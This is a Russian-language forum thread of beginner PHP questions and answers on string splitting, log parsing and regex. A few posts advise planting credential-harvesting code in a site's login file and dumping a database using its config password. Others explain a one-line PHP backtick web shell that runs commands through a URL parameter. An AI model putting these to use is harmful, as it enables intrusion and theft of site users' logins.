[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    НTL
    PHP:
    $str '11111111111111111111111111111111111111111111111';
    echo 
    wordwrap($str16' 'true);
     
    _________________________
    1 person likes this.
  2. Fock

    Fock New Member

    Joined:
    20 Jul 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Подскажите, как можно перебрать элементы формы в массив.
    Есть поле типа textarea
    PHP:
    <form action 'test.php' method 'post'>
    <
    textarea cols '22' rows '35' name 'field'></textarea>
    <
    input type 'submit' value 'Go'>
    </
    form>
    В поле вставляю с новой строки слова, как теперь сделать так, чтобы каждая строчка этого поля являлась элементом массива?
     
  3. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    PHP:
    <?php
    $input 
    $_POST['field']; // Тут полученное значение textarea
    $word_array explode("\n",$input); 
    print_r($word_array);
    ?>
     
  4. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    Ты перенос строки делаешь? Или вбиваешь строку, пока в textarea сама не перенесет на новую строчку?
     
  5. Fock

    Fock New Member

    Joined:
    20 Jul 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Нет похоже, что не работает.
    Сам делаю перенос, каждое слово с новой строки.
    PHP:
    <form action = '' method = 'post'>
    <textarea cols = '40' rows = '35' name = 'field'></textarea>
    <input type = 'submit' value = 'go'>
    </form>
    <?php
    $field 
    $_POST['field'];
    $array explode('\n',$field);
    foreach(
    $array as $result)
    {
     echo 
    $result.'<br>';
    }
    ?>
    В поле вставляю
    HTML:
    Строка1
    Строка2
    Строка3
    Строка4
    Строка5
    
    На выходе получаю
    HTML:
    Строка1 Строка2 Строка3 Строка4 Строка5
    
    А надо
    HTML:
    Строка1
    Строка2
    Строка3
    Строка4
    Строка5
    
     
    #17665 Fock, 13 Feb 2011
    Last edited: 13 Feb 2011
  6. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    PHP:
    ...
    $word_array explode("\r\n",$input);  
    ...
     
  7. Fock

    Fock New Member

    Joined:
    20 Jul 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Понял в чем ошибка, дело не в переносе каретки (Linux, Windows), а в том, что я писал '\n' в одиночных кавычках, а не в двойных.
    Первый раз твой код скопировал и он заработал, а вот когда решил сам переписать, уже нет :)
     
    1 person likes this.
  8. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    найди файл авторизации и вставь какую нибуть отсылку на какой нибуть гейт или сохранение в файл пароля и логина.
     
  9. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    2DeluxeS
    0) Темой и разделом ошибся
    1) Ищи файл конфигурации сайта там есть пароль к БД, ну и скачивай дамп базы, разворачивай на локале и читай
     
  10. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    http://php.su/functions/?convert_cyr_string
     
  11. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    http://php.su/functions/?mb_detect_encoding
    Но это бред, кодировка строки ровня кодировки страницы которую ты показываешь пользователя, а если он эту кодировку не поддерживает то он шлет в UTF8
     
  12. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Не знаю как можно будет проверить твой скрипт, но как то так:
    PHP:
    if(preg_match("!google|yandex|rambler|bing|yahoo|webalta|gogo|mai l|nigma!i",$_SERVER['HTTP_REFERER'])){
    preg_match("![\?\&]q=([^&]+)|[\?\&]query=([^&]+)|[\?\&]p=([^&]+)|[\?\&]text=([^&]+)!i",$_SERVER['HTTP_REFERER'],$m);
    foreach(
    $m as $k=>$v) if($k>&& $v!=""){ $rk=$v; break; }
    if(
    $rk==''){}else{
    $z=htmlentities($rk);
    $f fopen('keywords/1.txt''a');
    convert_cyr_string($z,$z,"w");
    fwrite($f,$z);
    fclose($f);
    }
    }
    У тебя очень кривонаписанный код
     
  13. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Добрый день!
    Имеется logs.txt с логами:
    Code:
    Sat, 12 Feb 2011 18:17:10 +0200 - IP: xxx.xxx.xxx.xxx | Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 | URL: /index.php
    Хотелось бы простой скрипт, парсер для вывода красиво в таблицу.
     
  14. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    $arr = explode("|", $str) ?
     
  15. bjong

    bjong Elder - Старейшина

    Joined:
    26 Jul 2003
    Messages:
    41
    Likes Received:
    12
    Reputations:
    18
    Примерно так:
    PHP:
    <html>
    <head>
    <title>Логи</title>
    <style>
    body {
        line-height: 1.6em;
            background: #e6e6fa;
    }
    #logs {
        font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
        font-size: 12px;
        margin: 45px;
        width: 720px;
        text-align: left;
        border-collapse: collapse;
        border: 1px solid #69c;
            margin-left:auto; 
            margin-right:auto;
    }
    #logs th {
        padding: 15px 10px 10px 10px;
        font-weight: normal;
        font-size: 14px;
        color: #039;
            border: 1px solid #69c;
    }
    #logs tbody {
        background: #e8edff;
    }
    #logs td {
        padding: 10px;
        color: #669;
        border-top: 1px dashed #fff;
            border: 1px solid #69c;
    }
    #logs tbody tr:hover td {
        color: #339;
        background: #d0dafd;
    }
    </style>
    <table id="logs">
    <tr>
    <th nowrap="nowrap">Дата - IP</th>
    <th nowrap="nowrap">User Agent</th>
    <th nowrap="nowrap">HTTP REFER</th>
    </tr>

    <?
    $logs = file('logs.txt');
    foreach ($logs as $log) {
    list($date, $useragent,$refer) = explode('|',$log); 
    echo '    
    <tr>
    <td scope="col">'.$date.'</td>
    <td scope="col">'.$useragent.'</td>
    <td scope="col">'.$refer.'</td>
    </tr>
    '; } 
    ?>
     
  16. Pulsse

    Pulsse New Member

    Joined:
    8 Feb 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Добрый день
    Подскажите как этим кодом воспользоваться
    Code:
    <?=`$c`?>
     
    #17676 Pulsse, 15 Feb 2011
    Last edited: 15 Feb 2011
  17. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    При register globals - on можно выполнять команды оболочки c последующим выводом результата в браузер
    Например так:
    http://localhost/script.php?c=nslookup forum.antichat.ru
     
    #17677 h00lyshit!, 15 Feb 2011
    Last edited: 15 Feb 2011
  18. Pulsse

    Pulsse New Member

    Joined:
    8 Feb 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Сделал такой запрос в ответ пустая страница,наверно register_globals=Off в этом случае этот код бесполезен?
     
  19. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Абсолютно
     
  20. NorB

    NorB Elder - Старейшина

    Joined:
    20 Jul 2007
    Messages:
    109
    Likes Received:
    12
    Reputations:
    -2
    Напишите регулярное выражение "<!--всечто угодно-->" для поиска .
     
    #17680 NorB, 15 Feb 2011
    Last edited: 15 Feb 2011
Thread Status:
Not open for further replies.